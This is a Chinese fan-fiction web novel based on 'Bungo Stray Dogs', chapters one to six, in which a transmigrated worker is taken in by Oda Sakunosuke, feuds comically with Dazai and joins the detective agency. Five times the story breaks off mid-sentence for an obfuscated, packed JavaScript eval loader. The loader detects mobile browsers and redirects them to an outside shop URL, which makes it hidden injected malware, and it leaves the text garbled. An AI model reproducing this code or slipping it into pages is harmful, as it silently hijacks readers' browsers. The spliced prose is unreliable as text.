《无良同事竟然是我推》 1. 第一章 穿到这里一年了,竹内和彦还是习惯不了正装不离身的生活。 烦躁地扯了扯脖子上的领带,顺手挑开衬衫领口的纽扣,原本一丝不苟的挺括西装瞬间多出几道格格不入的褶皱。 竹内和彦总算得以自由呼吸。 他向来最不耐烦穿这种禁锢肢体的玩意,但一分钱难倒英雄汉,不得不向现实屈服。 所幸这种日子也要结束了。 想到这儿,竹内和彦畅快地吐出一口郁气,随即又紧锁眉头,看什么都不顺眼起来。 ——他失业了。 啧。 腰腹传来的强烈束缚感让竹内和彦心情更加烦躁。 他现在就想做一件事,把腰间那条系得紧紧的皮带解了,让肚子里的五脏六腑畅快喘口气。 但现在显然不行。 廉价的西装裤肥大异常,全靠着一条皮带维系着,才能勉强套在精瘦的腰肢上,一旦松绑,立马就得被地心引力拽着往下掉。 大庭广众下宽衣解带,无异于耍流氓,一个弄不好,竹内和彦得被扭送进警察局吃免费的猪排饭。 嘶…… 听起来似乎不错的样子。 不行,快住脑! 兜比脸干净的竹内和彦用力按住自己饥肠辘辘的胃,脑中一番天人交战,艰难放弃了这个诱人的念头。 树活一层皮,人活一张脸,再怎么着也不能无下限至此啊。 何况他只是上辈子偶然听说日本有“公然猥亵罪”这一罪名,至于这条法律是什么时候颁布、具体适用于哪些情形,就一概不知了。 别到时候面子丢了,里子也没捞着。那可就亏大发了。 但,真的好饿,好饿,好饿…… 喉咙泛起了一股酸意,霸道地顺着咽鼓管一路烧到耳膜,隐隐作痛。 手指按了按耳屏试图缓解,却没什么用。 心情愈发差劲了。 青年叹了口气,萎靡地耷拉着眉眼,面无表情,清隽苍白的脸上突兀地挂着两泡大大的黑眼圈。 被随意散开的衬衣领口凌乱,黑色领带松松垮垮地歪在脖颈上,俨然是一副饱受职场与生活双重摧残的颓废社畜模样。 总是挺得直直的腰杆在下班后便恣意地塌了下来,连日加班攒下的疲惫浓稠到几近化为实质,将这位面临失业危机的社畜先生团团围绕。 他恍惚地穿过熙攘的人群。 街道上人潮涌涌,很是热闹。 却没有一个人向这个失意的年轻人投去多余的眼神。 一张张脸上,像是被偷懒的画师略去了细微表情的勾勒,只剩随手绘就的、相似到可怕的平直线条。 这是何等的冰冷麻木。 他们行尸走肉般活动着,与一个又一个行人擦肩而过,行色匆匆,仿佛活着就已经耗尽了全身气力,再分不出一丝多余的精力去关注无关紧要的人与事。 饥饿让社畜先生眼前阵阵发黑,身体控制不住地晃悠了一下,而后直挺挺摔倒在地。 “嘭!” 有人倒下了。 但没有人为此停留。 一个路人回头瞥了一眼,随即面带了然地转了回去。 估计是哪个酒量不好的醉汉在酒桌上喝多了没人送,今晚要露宿街头了。路人心想。 不过,倒也不排除是工作压力太大,睡眠严重不足,身心过于疲惫,故而一键关机,倒地就睡。 路人一边走一边煞有其事地分析哪个可能性更大些,随即又摇摇头,将这件事抛在脑后,继续放空大脑,放松疲乏的神经。 月色西沉,人潮散去,倒在地上的那道身影依旧无人问津。 或者说,不敢问津。 在横滨这个各色势力交织的混乱地带,本地人都知道,没有足够的实力做倚仗,烂好心往往是见效最快的催命符。 再勇敢无畏的人,身后也有至亲好友需要保护。 于是,善良被束之高阁。 看样子,可怜的社畜先生今晚要以天为被以地为床,露宿街头了。 …… 夜色凉如水,一阵料峭寒风贴着地面吹过,凉飕飕的。 躺在冰凉的石板上,只穿了单薄两件套的社畜先生迷迷糊糊间也觉出了冷。他紧了紧衣服,蜷缩起身体试图汲取一丝暖意,不肯从温暖的甜梦中醒来。 然而,同样冰冷的四肢又怎么可能温暖得了同样的躯干? 理所当然,社畜先生被冻醒了。 “唉。”竹内和彦重重叹了口气。 他没有起身,顺势翻身仰躺在地上,直视着眼前高远的天穹,情不自禁伸出了手,五指微曲,仿佛隔着时空触碰到家乡那片陪伴了自己二十年的天空。 那是他再也回不去的地方。 星星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205877|197334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在月光的映照下黯然失色,一如竹内和彦前途渺茫的未来。 “啪嗒、啪嗒。”强化后的敏锐听觉捕捉到一道几不可闻的脚步声。 是男式皮鞋的声音。 有人正朝这边走来。 肚子适时打起了鼓,饥寒交迫的竹内和彦狠狠咬了咬后槽牙,准备抛开无用的道德底线,干一票大的。 都是生活所迫,对不住了兄弟!等有钱了一定翻倍还你。 竹内和彦在心里默默道歉,而后便愉快地准备实施一波强行碰瓷。 他隐蔽身形,屏气敛息留意来者的动向,如同一位经验老道的猎手,耐心等待这位出门不看黄历的倒霉蛋自动送货上门。 来了。竹内和彦暗道。 刹那间,世界仿佛被按下了消音键,喧嚣与嘈杂悄然远去,唯有耳畔那道脚步声响彻依旧。 竹内和彦无声数着倒计时。 5。 4。 3。 2。 1。 竹内和彦就是现在! 把握住时机,竹内和彦瞬间弹射起身,动作干脆利落,挟着不成功便成仁的一往无前向来人扑了上去—— 滑溜跪地,环抱住红发青年的大腿,声泪俱下道:“好心人求收留!” “可怜我涉世未深被黑心老板欺骗,签下了天价卖身合同,身上的钱全赔了违约金,已经一天一夜没吃饭了。如今又饿又困,也没个去处,只要你帮我,来日我定当十倍百倍千倍报答你今日的恩情!” 竹内和彦戏精附体,一番唱念做打卖惨不说,还给人画了一个又大又圆的大饼。 边说他边努力挤出几滴鳄鱼眼泪渲染气氛,随后便“虚弱”地斜倒在地上,做足了可怜无助的姿态,只双手还死死箍着对方的腿,丝毫不给红发青年溜走拒绝的机会。 好好走在路上,却被强行碰瓷的织田作之助:“……?” 他低头望去,两双眼睛对上的瞬间,竹内和彦下意识露出一个心虚又谄媚的笑。 安静对视几秒,织田作之助率先移开目光。他脸上表情不变,无波无澜,仿佛那个被陌生人强行抱大腿碰瓷的不是他本人似的。 “那就跟我走吧。” 织田作之助轻描淡写抛下一句惊雷,炸得竹内和彦愣了一下。 “……啊咧?” 好像有哪里不对劲? 2. 第二章 果然,是这个人的问题吧。 等竹内和彦回过神时,他已经稀里糊涂地跟在这位自称“织田作之助”的青年身后回了家,正把一份红彤彤的火辣咖喱饭塞进嘴里。 这一刻,石破天惊。 脆弱的味蕾被狠狠冲击了一番。 “噗!” 竹内和彦狼狈地把饭喷了出来,通红着脸到处找水喝:“水水水……” 提前从「天衣无缝」预知到这一幕的织田作之助早有准备,起身从厨房接了杯清水递过去。 “给你。” “谢、谢谢。”竹内和彦感激道。 随后像是几百年没喝过水似的,仰头咕噜咕噜一阵猛灌,杯子里的水位极速下降,很快就见了底。 织田作之助主动接过空杯子,又给竹内和彦倒了几次水。 这顿饭是织田作之助亲自动手做的,但他确实不是存心把咖喱饭做这么辣来整竹内和彦。 作为一名前·职业杀手,虽然现在已经金盆洗手不干了,但多年的职业习惯让织田作之助更适应独自一人离群索居的生活。 冷清寂寥的房子突然来了位客人——如果不速之客也能算作客人的话——嗜辣成性的他下意识便照着自己的口味做了两份辣咖喱饭。 倒是忘了,这般辣度对于普通人来说属实无福消受。 至于为什么明明已经通过「天衣无缝」得知竹内和彦吃不了这份辣咖喱饭,却不及时出声提醒? 不过是某人的恶趣味作祟罢了。 嘴角微不可察地抬起一点弧度,随即又不动声色地放回原本的位置,恍若无事发生。只头顶的一绺呆毛好心情地翘了翘,泄露出几分主人的真实心绪。 连灌了好几杯水下去,竹内和彦终于缓了过来,但脸上热气未消。 真·物理意义上·红温了。 织田作之助瞧了一眼对面竹内和彦只动了一勺便被搁置的咖喱饭,颇有些可惜。 “剩了很多,还要再吃点吗?” 竹内和彦闻言面露惊恐,对身前的那盘辣咖喱如临大敌,连连摆手拒绝了织田作之助的好意。 “不了不了,我吃饱了,谢谢。”他说着违心的话,实在不想再遭受爆辣的摧残了。 “浪费粮食不好,介意我把剩下的解决掉吗?” 织田·辣咖喱重度依赖·作之助一本正经地提议,他见不得任何一份辣咖喱被辜负。 “当、当然,请随意。” 得到肯定答复后,织田作之助没再客套,直接伸手连盘端了过去。 一旁的竹内和彦把脸凑近手中的空水杯,借着玻璃杯的反射照了照自己的嘴唇。 碰一下。 嘶,果然肿了。 那份辣咖喱上的红色,根本不是人世间该有的普通红色!它简直来自神话传说中地狱的最深处,桀桀桀地大声怪叫着,要把不自量力的食客拖入无尽黑暗,共赴沉沦。 他在心里悲愤咆哮。 竹内和彦不死心地望了一眼对面肉眼可见又少了一块的辣咖喱饭,再仔细瞧了瞧织田作之助毫无变化的神色,颓然塌下肩膀。 真是个可怕的男人。 …… 织田·可怕的男人·作之助安顿好家里的不速之客,怀揣着满腹的疑惑来到了他常与朋友聚会的酒吧。 正巧,他们两个今天也来了。 (私设龙头战争前无赖派三人就已经认识了,不然我实在无法想象捡了孩子、有了软肋的织田作要怎么才能接受一个素不相识的成年男人登堂入室) 银座,Lupin。 听完织田作之助与竹内和彦的初遇,连连追问了几个细节后,连续熬夜工作好几天的绝世社畜坂口安吾露出两个蚊香眼,怀疑是不是他最近忙得太狠,出现幻听了。 抚着自己日渐后移的发际线,坂口安吾发出一声独属于牛马的哀鸣。 还不忘接过话题问道:“所以,是「天衣无缝」失效了?” 话一说出口,坂口安吾又觉得他这个问题问得实在好笑。 反异能者并非没有。 这不,港口Mafia的那位正没骨头似的趴坐在吧台上呢。 但也绝对没有烂大街到,能让他们在横滨接连遇上两个的地步。 “不,异能发动成功了。” 毫不意外,织田作之助摇头否定了坂口安吾的猜测。 作为「天衣无缝」的拥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205878|197334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有者,织田作之助清楚地知道,当时「天衣无缝」确实成功发动了,自己也实打实地预见了5-6秒钟后的未来。 只是他的每一次反抗,都被竹内和彦轻而易举地消弭于无形之中。 ——即便他早已通过异能预判了对方可能有的每一个动作。 但这份先知显然也未能填补双方实力的差距。 这种多年未曾体会过的无力感。 阔别已久,却半点不叫人怀念。 织田作之助缓缓垂下眼睑。 只能说,在绝对强悍的力量面前,任何反抗都显得无力起来,不过是一戳就破的纸老虎。 也正是这种具有颠覆性的绝对武力压制,才造成了「天衣无缝」彷佛失效的假象。 织田作之助回忆着对竹内和彦的印象,斟酌开口:“经过我的简单试探,竹内并不是异能力者,只是一个有着过人战斗意识与战斗能力的普通人。” “普通人……” 听到这话,太宰治停下了戳弄酒中冰球的动作,收起那副吊儿郎当的不正经模样,坐直身子抬起头来。 “怎么了?” 织田作之助疑惑地转过头看他,不明白方才还一副兴致索然的太宰治怎么突然正襟危坐起来了。 太宰治随性地摆了摆手:“没什么,我只是突然有点好奇,想认识一下这位能得到织田作如此盛赞的‘普通人’呢。” 他特意把“普通人”三个字咬得极重,黑沉如墨的眸子闪亮亮的,满是对探索未知事物的兴趣。 一潭死水的日子总该寻点刺激。 当然,若是在试探的过程中,这个疑似人形武器的家伙能顺手把他送往美丽的三途川,那就再好不过了。 如此强大的力量,想必能让他没有一丝痛苦地瞬间死去。 太宰治端起杯里已经融化成常温的威士忌,仰头一饮而尽,鸢色的眼睛里满是跃跃欲试。 他有些迫不及待了。 太宰治:“织田作,不介意我明天上门拜访吧?” “欢迎之至。”织田作之助颔首。 坐在一旁听完两人的对话,坂口安吾在心里为竹内和彦默哀了三秒。 祝他好运。 3. 第三章 于是,第二天清晨。 刚起床的竹内和彦惬意地伸了个懒腰,起身拉开窗帘准备迎接美好的一天,就被正挂在窗外cos晴天娃娃的太宰治吓得一佛出世,二佛升天。 “啊——!” 嘹亮高亢的海豚音瞬间打破了清晨的宁静。 眼见有人上吊自杀,身体的本能快过大脑的反应,竹内和彦下意识就想要破窗而出,救人狗命。 刚跨出两步,他突然顿住脚步,懊恼地拍了下脑袋,带着脑子终于转过弯的恍然大悟,急急忙忙向大门口冲去。 路过织田作之助的房间时,竹内和彦还不忘扯着嗓子喊人:“织田先生,救命啊!外面有人吊在树上要自杀!” 这会儿也顾不上什么打扰不打扰的了。 人命关天,竹内和彦现在满脑子只有一个念头,那就是阻止一条生命在他眼前消逝。 穿越到这里后,竹内和彦遗忘了许多事情,但他始终记得一点—— 生命,是最宝贵的。 竹内和彦不知道自己这个想法是从何而来,失忆又身处殊方异域的他也无处探究。可光是默读这句话,竹内和彦就能感受到其背后所蕴藏的不为人知的痛彻心扉。 莫名的负面情绪像决堤的洪水朝着他奔涌而来,带着万钧之势将他吞噬淹没。 竹内和彦喘着粗气想,那定是血泪的教训! 竹内和彦奋力迈开双腿、挥动双臂,拼命向门外奔去,去解救那条生命,去弥补他未曾圆满的遗憾。 哪怕他不知道这份遗憾从何而起。 却清楚地知道,自己必须去做! 清晨的户外凉风习习,青年胸腔里的心脏却跳得火热。 这份纯粹的担忧看得人眼眶发酸。 也正因如此,就更显得那些愚弄生命的人面目可憎了起来。 没错,说的就是你,太宰治! 辛辛苦苦跟着织田作之助协力把人从鬼门关拉了回来,竹内和彦没得到半句道谢也就罢了,反而被太宰治劈头盖脸埋怨了一通,并被迫听他滔滔不绝地讲述所谓的“人生追求”。 简直是垃圾人说垃圾话。 硬了。 竹内和彦的拳头硬了。 竹内和彦紧闭双眼,调整呼吸,努力遏制自己动手打人的冲动。 ‘莫生气,莫生气,气出病来无人替。’ ‘冲动是魔鬼,不能让魔鬼控制自己。’ ‘冷静,千万要冷静。’ ‘很好竹内和彦,来——吸气,呼气;吸气,呼气;吸……呼……’ 竹内和彦自己劝说自己,一腔火气渐渐平息。 可这事光他一个人努力还不够,对方拒不配合,一场纠纷也就无可避免了。 那个被他和织田救下的家伙丝毫不懂得何谓察言观色,竹内和彦脸色都那么难看了,他不但没有收敛,还兀自在那不知死活地继续倾倒黑泥。 简直是火上浇油。 搞得竹内和彦不仅无法做到心平气和,刚压下去的火气反倒越燃越旺。 叔可忍,婶不可忍! 我不忍了! “你这个不尊重生命的家伙,给我闭嘴啊!” “砰!” 拳头与脸颊相互碰撞。 “砰!” 人体与地面亲密接触。 两声巨响过后,原本就安静的四周更是静得听不到一丝声响。 幸好附近的住宅分布比较零散,不会打搅到其他居民的起居。织田作之助暗自庆幸。 织田作之助不动声色地收回刚刚后撤半步的脚步,站回原地,假装无事发生。 眼角的余光快速扫过地上躺着的太宰治,凭借多年经验迅速判断他身上伤势如何。 嗯,都是皮外伤,问题不大。 确认竹内和彦下手有分寸后,织田作之助也就从心地无视了某人故作可怜的挥手求救,自然地转头看向竹内和彦,静静等待他下一步的行动。 至于竹内和彦本人…… 他现在也是一脸懵逼。 竹内和彦不是大脑里塞满肌肉的暴力分子,一时冲动的发泄过后,剩下的便是无尽的懊悔。 他也没想到自己居然真的敢说动手就动手。 平时也没看出来自己有暴力倾向啊。 竹内和彦:痛苦面具.jpg 尤其是不经意间对上织田作之助淡定的视线,竹内和彦更是痛苦得想径直仰面倒下,和太宰治一起并排躺在地上,像鸵鸟一样把头埋进土里逃避现实了。 可惜,现实并不为人的意志所改变。 该面对的终究还是要面对的。 所以竹内和彦只能抹了把脸,尽力挺直了腰板给自己加油鼓劲,随即以一副欣然赴死的壮烈姿态,毅然决然走向已经调整成舒适咸鱼躺的某人。 对此,某人怎么看? 某人打了几个喷嚏,而后好整以暇地支着脑袋看。 竹内和彦拿他没辙的咬牙切齿,就是对他最大的鼓舞。 这家伙毫无悔改之心的样子,真是让人恨得牙痒痒啊。 竹内和彦咬紧牙关,听着自己上下牙齿发出的嘎吱嘎吱的响声,在脑海里疯狂吐槽,面上仍极力维持着和善的表情。 “对不起先生!我不应该对你使用暴力。”竹内和彦深深鞠了一躬,态度诚恳,“后续检查可能产生的医疗费用我不会逃避,该我承担的我会一力承担。” 太宰治却不买账,无情揭下竹内和彦的老底: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205879|197334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可我怎么听说你刚丢了工作,连饭都吃不起,你确定你有钱赔偿?” “……” 竹内和彦被问得语塞。 虽然不知道太宰治是从哪里知道自己近况的,但良好的修养让他选择据实相告: “虽然我现在没钱,但我会尽快找到一份工作偿还的!” 想到自己本就入不敷出的钱包如今更是雪上加霜,竹内和彦一阵肉疼。 得赶紧找份新工作了。 头顶一片沉默。 竹内和彦维持着深鞠躬的姿势,低头弯腰,看不到太宰治此时的表情,他不禁忐忑了起来。 ‘完蛋,他该不会以为我是骗子吧?’ 竹内和彦心里流着宽面条泪,又是一阵脑补自己吓自己。 ‘要是他报警抓我该怎么办,我该不会要唱铁窗泪了吧?’ ‘补药啊。’ ‘别人穿越走上人生巅峰迎娶白富美,我穿越又当牛马又要坐牢,简直是穿越者的耻辱。’ ‘要不我逃吧?’ 念头一出,他先否决了。 ‘不行不行,不能连累好心的织田先生。我要是逃了,这人找织田先生麻烦怎么办?’ 想到这里,竹内和彦深吸一口气,视死如归道: “如果你不信的话,干脆报警抓我吧,大不了就坐牢,男子汉大丈夫一人做事一人当。但请不要牵连织田先生,他只是个乐于助人的好心人,没做错什么,不应该受我拖累。” 头顶依旧沉默无言。 竹内和彦有些按耐不住,抬起头来想看看究竟。 一道豪放的笑声卒然响起。 “哈哈哈哈哈织田作,你瞧我说得没错吧,他确实很有趣!” 刚刚还躺在地上的少年人,转眼就跑去和织田先生勾肩搭背,手指着竹内和彦哈哈大笑,活泼得彷佛刚才什么都没发生过的样子。 竹内和彦彻底懵了。 他求助地看向织田作之助:“织田先生,你……认识他?”语气带着不可置信的犹疑。 两人的画风简直天差地别,竹内和彦怎么都无法把他们二人联系在一起。 织田作之助眼底含着浅浅的笑,坦然点头:“介绍一下,这是我的朋友,太宰治。” 又转过头来给太宰治介绍:“太宰,这位就是我跟你提过的竹内和彦。” 惊吓太过,竹内和彦感觉自己的灵魂都飘了出去,只剩一具躯壳在麻木地按照固有程序进行社交礼仪: “……你……你好,太宰先生,我是竹内和彦。你可以叫我竹内。” 缠裹着绷带的黑发少年好似被他魂不附体的状态逗笑,扬起一个浮夸又灿烂的笑容: “我叫太宰,太宰治。” 4. 第四章 当一杯温度适中的热水捧在掌心时,竹内和彦才晃过神来。 “所以……这一切只是一场乌龙?” 竹内和彦显然不相信太宰治的说辞。 什么上吊健康法,确定不是信口胡诌骗人的鬼话? 但看着太宰治一脸真挚的表情,竹内和彦原本坚定不移的想法不禁动摇了起来。 那不成真是他坐井观天,赶不上时代的潮流了? 还是说,上吊健康法是这个世界的特色,只是他不知道而已? 竹内和彦煞有其事地思考了起来。 失去了部分记忆的竹内和彦,根本不知道眼前这个装得一脸无害的少年是多么恶劣的存在。 对于这一点,某个平行线的国木田麻麻有话要讲。只要竹内和彦愿意,国木田完全可以拉着他痛诉太宰三天三夜都不带歇息的。 然而,失去了剧情先知的竹内和彦还是单纯了些许。 哪怕他刚经历被某个黑心老板骗着打了一年的白工后用完就丢,炒他鱿鱼扫地出门。 还没等竹内和彦痛定思痛汲取教训,黑化成看透人生、利益至上的成年人,转角就遇上了天使——织田作之助。 他又开始相信世界是美好的了。 之前的黑心老板是个例,不作数的。 竹内和彦眼神瞟了一眼织田作之助的方向,心里的小人用力点头,更加坚定了这个观点。 所以竹内和彦虽然心有疑窦,但光是冲着织田作之助的面子,他也姑且相信太宰治的说法。 “原来如此,在下受教了。” 近朱者赤,好人的朋友也是好人。 ……吧。 “哈哈哈哈哈哈,骗你的!” “太逗了织田作,他怎么这么可爱,连这么错漏百出的瞎话都信。” 看着捧腹大笑到满地打滚,差点连脸上的绷带都蹭下来的太宰治,竹内和彦满脸黑线,头上似是有无语具象化而成的乌鸦嘎嘎飞过,留下了六个黑色圆点。 事实证明,人还是要跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205880|197334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的感觉走。 竹内和彦心不平气不和地轻轻放下杯子,转头看向织田作之助,挤出一个堪称核善的微笑,皮笑肉不笑道: “织田先生,既然他自称是你的朋友,那我今天干脆替你清理门户吧。” 竹内和彦认为这是一个极好的提议。 织田作之助可耻地沉默半晌。 就在竹内和彦以为织田作之助会断然拒绝时,却听到他说:“动作利落点,太宰怕疼。” “得令!”如获圣旨的竹内和彦捏着拳头冲太宰治邪笑道:“桀桀桀桀桀,骚年,迎接正义的制裁吧!阿达!” 太宰治惊恐地滚到织田作之助脚边:“织田作救我!” “放弃无谓的抵抗吧!今天没人救得了你!” 竹内和彦边说边伸手握住太宰治的脚腕,将人拖了回来。 太宰治自是不束手就擒。 很快,干净锃亮的地板出现了几道乱七八糟的拖拽痕迹。 公寓里一阵鸡飞狗跳。 5. 第五章 虽然两人算是不打不相识,但同一天被竹内和彦两次暴力按在地上摩擦的经历让他很不痛快。 于是,太宰治决定让竹内和彦也不痛快。 所以,在两人的拉扯中,竹内和彦好不容易凭着一股蛮劲占了上风,还没来得及昂首叉腰宣读胜利宣言,就被太宰治轻飘飘抛来的一句话浇了盆冷水。 “你刚才那一下的力道可不轻,我感觉我的腰好像扭伤了,记得给医药费。”太宰治凉凉道。 话音一落,原本还面色红润的人立时变得虚弱苍白了起来,捂着腰就开始大声叫唤。 他的演技夸张又虚浮,假得很,但架不住竹内和彦是真没钱。 就连去往医院的救护车费用都出不起。 形势比人强,竹内和彦立刻放低姿态,低声下气道:“要不我站着不还手让你打回来,然后咱们两清怎么样?” 一分钱难倒英雄汉,竹内和彦兜里没钱,真硬气不了一点。 为了展现自己的诚意,竹内和彦赶紧把被他压倒在地上的太宰治扶起来坐正,狗腿子似的又是捶背又是捏肩,嘴里还不停地念叨着: “太宰先生,您看这样舒服吗?要不要再重点?我再去给您倒杯温水?”忙前忙后地端茶递水,生怕伺候得不周到。 期待的目光灼热地落在太宰治身上,满是希冀,就盼着对方能松口。 “当然——”太宰治故意拉长了语调,眼角眉梢带着止不住的笑意,迟迟不往下说,吊足了竹内和彦的胃口。 直到享受够了竹内和彦谄媚讨好的服务,才慢悠悠吐出两个字:“不好。” 竹内和彦气得眼睛瞪成了铜铃大小,头顶仿佛烧开了的水壶呲呲地冒着白烟,呼吸都粗重了几分。 “你这人怎么这么幼稚!” “我这人向来公私分明。”太宰治挑眉:“你动手伤了我,赔偿是理所应当的,就算我打回来,那也是我报复出气。这是两码事。” 竹内和彦被太宰治不轻不重地噎了一下。 说到底是自己先动手理亏,对方不愿意跟他两清,竹内和彦也只能自认倒霉,把苦水往肚子里咽,脸上的表情沮丧又无奈。 太宰治见状,愉快地勾起了嘴角,眼底满是恶作剧得逞的笑意。 俗话说得好,自己的失败固然可怕,但对手的狼狈更令人振奋。 看着竹内和彦蔫巴巴的模样,太宰治心情好极了。 这边一个兴高采烈、一个垂头丧气,刚进门的织田作之助看了看两人,随手放下拎着的购物袋,上前一手一个把他们提溜起来,结束了这场儿戏般的闹剧。 “等会儿再玩,现在该吃饭了。” …… 坐在餐桌前,竹内和彦有一口没一口地吃着织田作之助趁他们俩打闹时去便利店买的面包牛奶,嘴里咀嚼着清淡的食物,激荡的情绪也渐渐平复下来。 冷静之后,竹内和彦一想到自己一个堂堂21岁的成年男人,居然跟个未成年的小屁孩计较,还跟他斗了个有来有回,登时羞得恨不得找块豆腐撞死。 简单吃完早饭,竹内和彦主动找上太宰治道歉。 他红着脸,嗫嚅道:“太宰先生,我对我之前的言语和行为感到十分抱歉,请你接受我的歉意。” 一边说,竹内和彦一边熟练地深深鞠了一躬,腰弯得几乎和地面平行,姿势标准得无可挑剔。 穿越到这里已经有一年的时间了,竹内和彦别的没学会,鞠躬道歉的礼节倒是掌握得炉火纯青了。 太宰治却一脸惊悚地往后退了几步,像个饱受惊吓的良家妇男似的环抱住自己,故意用着夸张的语调,拖长了声音说:“咦~你好肉麻哦~” 接着,他又转向织田作之助,捂住胸口故作虚弱地喊道:“织田作,我好像要死掉了——被肉麻死的。” 一提到“死”字,太宰治仿佛被唤醒了什么雷达,眼睛倏地亮了起来,立马冲到竹内和彦跟前催他再多说几句,争取把自己肉麻死。 这次换成竹内和彦唯恐避之不及了。 他吓得躲到织田作之助身后,太宰治紧跟着就凑了过来。 两人你追我赶,以织田作之助为中心点,在不大的客厅里玩起了秦王绕柱的戏码。 还没等“荆轲”和“秦王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205881|197334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”决出个胜负,“柱”先动了手。 织田作之助熟练地一手勾住一人的后领,把他们二人分开,淡淡说道:“我还有工作需要外出,你们换个东西绕吧。” 竹内和彦和太宰治乖巧点头。 沉稳可靠的铲屎官出门工作后,失去了争宠对象的两只精力旺盛的比格也没了继续玩闹的心思,客厅里顿时安静了下来。 织田作之助一走,太宰治脸上的嬉闹霎时消失得无影无踪,秒变脸的速度着实吓了竹内和彦一跳。 刚才还朝气蓬勃、爱恶作剧的少年仿佛瞬间迈入暮年,半边脸被白色绷带遮住,露出的剩下半张脸没有任何表情,死气沉沉的,带着一股说不出的阴郁,周身的氛围也变得压抑了起来。 竹内和彦只觉得光是和他待在同一个空间就快要窒息了。 要是一开始太宰治就表现出这副模样,救下人后,竹内和彦绝对拉着织田作之助有多远走多远,不会再跟对方产生半分交集。 ——但谁让他是织田先生的朋友呢。 只是个苦命打工人的竹内和彦不懂什么气势、威压,他只知道跟现在的太宰治待在一起浑身不自在,内心深处的郁气不受控制地翻涌上来,堵在心房处,攥得他心脏发紧。 实在受不了这种压抑的氛围,竹内和彦连忙找了个“外出找工作”的借口,逃也似的离开了织田宅。 再不走,他真的要emo了。 …… 说什么来什么,今天难不成是自己的幸运日?竹内和彦心里嘀咕着。 走在大街上,顺手送了个迷路的未成年回家——后来才知道,人家只是长着一张娃娃脸显年轻,其实已经成年了——结果就被热情地推荐了一份工作。 恍恍惚惚地办完了武装侦探社的入职手续,竹内和彦至今还有点不真实感。 这就……找到工作啦? 还是一份包吃包住的神仙工作! 竹内和彦狠狠掐了一把自己的大腿,疼得一激灵。 不是幻觉,是真的! 竹内和彦不禁感叹,果然好人有好报,以后还是要多行善事才是。 6. 第六章 在武装侦探社的生活平淡又愉快,除了入社那年爆发的龙头战争引起了一场骚乱。 竹内和彦是没有异能的普通人,对此为数不多的感触,都来自于浓雾散去后对横滨惨状的直面。 至于向其他社员打听详情? 竹内和彦觉得没有这个必要。 他只是个普通人而已,做好普通人的分内之事就好了,何必再掺和其他。 他唯一能做的,就是拿出自己的一部分工资,捐赠给孤儿院。 再多的,就不在他的能力范围内了。 竹内和彦对自己的定位很清晰,不会胡乱揽下不属于自己的责任。 有那个闲工夫内耗,不如去找织田作联络联络感情,帮忙照顾他在龙头战争后收养的孩子们,顺便祸害一下刚刚荣升五大干部之一的某个自杀爱好者。 尤其是那五个孤儿。 天可怜见的。 在那场因5000亿日元掀起的八十八天火拼中,他们原本温馨美好的家庭支离破碎。 他们只有他们自己了。 同样孤身一人来到这个世界的竹内和彦不禁共情了他们的遭遇。 所以他一有时间,就会去织田作之助那里陪伴孩子们,陪他们玩耍、给他们讲故事,尽可能让他们忘却失去家人的哀伤。 孩子们一口一个“竹内哥哥”地喊着,不知不觉,竹内和彦竟比织田作之助他们低了一个辈分。 竹内和彦:OAO 经过竹内和彦的据理力争,忽略闻讯赶来的太宰治的添乱,他们最终决定各论各的。 